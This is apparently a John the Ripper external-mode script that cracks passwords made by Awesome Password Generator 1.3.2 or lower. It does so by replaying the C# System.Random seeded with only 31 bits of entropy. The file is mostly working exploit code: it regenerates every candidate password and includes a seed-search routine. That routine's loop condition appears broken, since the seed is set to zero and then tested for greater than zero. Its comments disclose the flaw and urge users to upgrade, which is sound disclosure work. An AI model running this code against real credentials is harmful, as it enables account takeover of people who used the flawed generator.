[List.External:AwesomePasswordGenerator] /* Awesome Password Generator RNG replay * Written by Michael Samuel * Public Domain. * * This takes advantage of a subtle bug, where a crypto RNG is used to * seed the C# System.Random() class, which takes a 32-bit input, but * converts negative numbers into non-negative numbers, resulting in * only 31 bits of security. * * This only implements "easy to type" being *unticked*, and numbers, * lowers, uppers and symbols being ticked, in random password mode. * Changing the password length is easy, anything else is left as an * exercise to the reader. * * Running Awesome Password Generator (1.3.2 or lower) in Mono is still * vulnerable, but uses a different RNG, so this mode isn't compatible. */ /* Awesome Password Generator 1.3.2 does a two-pass run, selecting which * charset each position will have, then picking the character. This * leads to heavy bias, and is fixed in 1.4.0 (along with many other * fixes). If you have been using Awesome Password Generator, you should * upgrade immediately and change your passwords. */ int numbers[10]; int lowers[26]; int uppers[26]; int symbols[32]; /* Since we don't have a double datatype, I simply pre-calculated the * transition numbers calculating the scale formula: * (double)randNum * 4.656612873077393e-10 * {4/10/26/32} */ int boundaries_charclass[4]; int boundaries_numbers[10]; int boundaries_letters[26]; int boundaries_symbols[32]; /* This is the bug we're exploiting - the seed for the RNG is 32 bits * from the crypto rng. The non-crypto RNG converts negative numbers * into non-negative numbers, so there's only 2^31 possible seeds. */ int seed; int password_length; void init() { password_length = 16; /* Change this to match config */ int c, i; c = '0'; i = 0; while (c <= '9') numbers[i++] = c++; c = 'a'; i = 0; while (c <= 'z') lowers[i++] = c++; c = 'A'; i = 0; while (c <= 'Z') uppers[i++] = c++; /* Symbols */ i = 0; symbols[i++] = '!'; symbols[i++] = '@'; symbols[i++] = '#'; symbols[i++] = '$'; symbols[i++] = '%'; symbols[i++] = '^'; symbols[i++] = '&'; symbols[i++] = '*'; symbols[i++] = '('; symbols[i++] = ')'; symbols[i++] = '~'; symbols[i++] = '-'; symbols[i++] = '_'; symbols[i++] = '='; symbols[i++] = '+'; symbols[i++] = '\\'; symbols[i++] = '|'; symbols[i++] = '/'; symbols[i++] = '['; symbols[i++] = ']'; symbols[i++] = '{'; symbols[i++] = '}'; symbols[i++] = ';'; symbols[i++] = ':'; symbols[i++] = '`'; symbols[i++] = '\''; symbols[i++] = '"'; symbols[i++] = ','; symbols[i++] = '.'; symbols[i++] = '<'; symbols[i++] = '>'; symbols[i++] = '?'; i = 0; boundaries_charclass[i++] = 536870912; boundaries_charclass[i++] = 1073741824; boundaries_charclass[i++] = 1610612736; boundaries_charclass[i++] = 2147483647; i = 0; boundaries_numbers[i++] = 214748365; boundaries_numbers[i++] = 429496730; boundaries_numbers[i++] = 644245095; boundaries_numbers[i++] = 858993460; boundaries_numbers[i++] = 1073741824; boundaries_numbers[i++] = 1288490189; boundaries_numbers[i++] = 1503238554; boundaries_numbers[i++] = 1717986919; boundaries_numbers[i++] = 1932735284; boundaries_numbers[i++] = 2147483647; i = 0; boundaries_letters[i++] = 82595525; boundaries_letters[i++] = 165191050; boundaries_letters[i++] = 247786575; boundaries_letters[i++] = 330382100; boundaries_letters[i++] = 412977625; boundaries_letters[i++] = 495573150; boundaries_letters[i++] = 578168675; boundaries_letters[i++] = 660764200; boundaries_letters[i++] = 743359725; boundaries_letters[i++] = 825955250; boundaries_letters[i++] = 908550775; boundaries_letters[i++] = 991146300; boundaries_letters[i++] = 1073741824; boundaries_letters[i++] = 1156337349; boundaries_letters[i++] = 1238932874; boundaries_letters[i++] = 1321528399; boundaries_letters[i++] = 1404123924; boundaries_letters[i++] = 1486719449; boundaries_letters[i++] = 1569314974; boundaries_letters[i++] = 1651910499; boundaries_letters[i++] = 1734506024; boundaries_letters[i++] = 1817101549; boundaries_letters[i++] = 1899697074; boundaries_letters[i++] = 1982292599; boundaries_letters[i++] = 2064888124; boundaries_letters[i++] = 2147483647; i = 0; boundaries_symbols[i++] = 67108864; boundaries_symbols[i++] = 134217728; boundaries_symbols[i++] = 201326592; boundaries_symbols[i++] = 268435456; boundaries_symbols[i++] = 335544320; boundaries_symbols[i++] = 402653184; boundaries_symbols[i++] = 469762048; boundaries_symbols[i++] = 536870912; boundaries_symbols[i++] = 603979776; boundaries_symbols[i++] = 671088640; boundaries_symbols[i++] = 738197504; boundaries_symbols[i++] = 805306368; boundaries_symbols[i++] = 872415232; boundaries_symbols[i++] = 939524096; boundaries_symbols[i++] = 1006632960; boundaries_symbols[i++] = 1073741824; boundaries_symbols[i++] = 1140850688; boundaries_symbols[i++] = 1207959552; boundaries_symbols[i++] = 1275068416; boundaries_symbols[i++] = 1342177280; boundaries_symbols[i++] = 1409286144; boundaries_symbols[i++] = 1476395008; boundaries_symbols[i++] = 1543503872; boundaries_symbols[i++] = 1610612736; boundaries_symbols[i++] = 1677721600; boundaries_symbols[i++] = 1744830464; boundaries_symbols[i++] = 1811939328; boundaries_symbols[i++] = 1879048192; boundaries_symbols[i++] = 1946157056; boundaries_symbols[i++] = 2013265920; boundaries_symbols[i++] = 2080374784; boundaries_symbols[i++] = 2147483647; seed = 0; } void generate() { int i, j, s, next, nextp, val, bucket, randnum, used_charsets; int seedarray[56]; /* BEGIN System.Random(seed) */ if(seed < 0) { /* Only bother with non-negative integers */ word = 0; return; } s = 161803398 - seed++; seedarray[55] = s; i = val = 1; while(i < 55) { bucket = 21 * i % 55; seedarray[bucket] = val; val = s - val; if(val < 0) val += 2147483647; s = seedarray[bucket]; i++; } i = 1; while(i < 5) { j = 1; while(j < 56) { seedarray[j] -= seedarray[1 + (j + 30) % 55]; if(seedarray[j] < 0) seedarray[j] += 2147483647; j++; } i++; } next = 0; nextp = 21; /* END System.Random(seed) */ used_charsets = 0; while(used_charsets != 15) { i = 0; while(i < password_length) { /* BEGIN Random.Sample() */ if (++next >= 56) next = 1; if (++nextp >= 56) nextp = 1; randnum = seedarray[next] - seedarray[nextp]; if (randnum == 2147483647) randnum--; if (randnum < 0) randnum += 2147483647; seedarray[next] = randnum; /* END Random.Sample() */ j = 0; while(boundaries_charclass[j] < randnum) j++; word[i] = j; /* Temporarily store in word[] */ used_charsets |= (1 << j); i++; } } i = 0; while(i < password_length) { /* BEGIN Random.Sample() */ if (++next >= 56) next = 1; if (++nextp >= 56) nextp = 1; randnum = seedarray[next] - seedarray[nextp]; if (randnum == 2147483647) randnum--; if (randnum < 0) randnum += 2147483647; seedarray[next] = randnum; /* END Random.Sample() */ j = 0; if(word[i] == 0) { while(boundaries_letters[j] < randnum) j++; word[i++] = lowers[j]; } else if (word[i] == 1) { while(boundaries_letters[j] < randnum) j++; word[i++] = uppers[j]; } else if (word[i] == 2) { while(boundaries_numbers[j] < randnum) j++; word[i++] = numbers[j]; } else { /* if (word[i] == 3) */ while(boundaries_symbols[j] < randnum) j++; word[i++] = symbols[j]; } } word[i] = 0; } void restore() { int i, j, s, next, nextp, val, bucket, randnum, used_charsets; int seedarray[56]; int candidate[32]; /* This needs to be at-least as big as password-length */ seed = 0; while(seed > 0) { /* BEGIN System.Random(seed) */ s = 161803398 - seed++; seedarray[55] = s; i = val = 1; while(i < 55) { bucket = 21 * i % 55; seedarray[bucket] = val; val = s - val; if(val < 0) val += 2147483647; s = seedarray[bucket]; i++; } i = 1; while(i < 5) { j = 1; while(j < 56) { seedarray[j] -= seedarray[1 + (j + 30) % 55]; if(seedarray[j] < 0) seedarray[j] += 2147483647; j++; } i++; } next = 0; nextp = 21; /* END System.Random(seed) */ used_charsets = 0; while(used_charsets != 15) { i = 0; while(i < password_length) { /* BEGIN Random.Sample() */ if (++next >= 56) next = 1; if (++nextp >= 56) nextp = 1; randnum = seedarray[next] - seedarray[nextp]; if (randnum == 2147483647) randnum--; if (randnum < 0) randnum += 2147483647; seedarray[next] = randnum; /* END Random.Sample() */ j = 0; while(boundaries_charclass[j] < randnum) j++; candidate[i] = j; used_charsets |= (1 << j); i++; } } i = 0; while(i < password_length) { /* BEGIN Random.Sample() */ if (++next >= 56) next = 1; if (++nextp >= 56) nextp = 1; randnum = seedarray[next] - seedarray[nextp]; if (randnum == 2147483647) randnum--; if (randnum < 0) randnum += 2147483647; seedarray[next] = randnum; /* END Random.Sample() */ j = 0; if(candidate[i] == 0) { while(boundaries_letters[j] < randnum) j++; if(lowers[j] != word[i++]) break; } else if (candidate[i] == 1) { while(boundaries_letters[j] < randnum) j++; if(uppers[j] != word[i++]) break; } else if (candidate[i] == 2) { while(boundaries_numbers[j] < randnum) j++; if(numbers[j] != word[i++]) break; } else { /* if (word[i] == 3) */ while(boundaries_symbols[j] < randnum) j++; if(symbols[j] != word[i++]) break; } } if(i == password_length) return; } }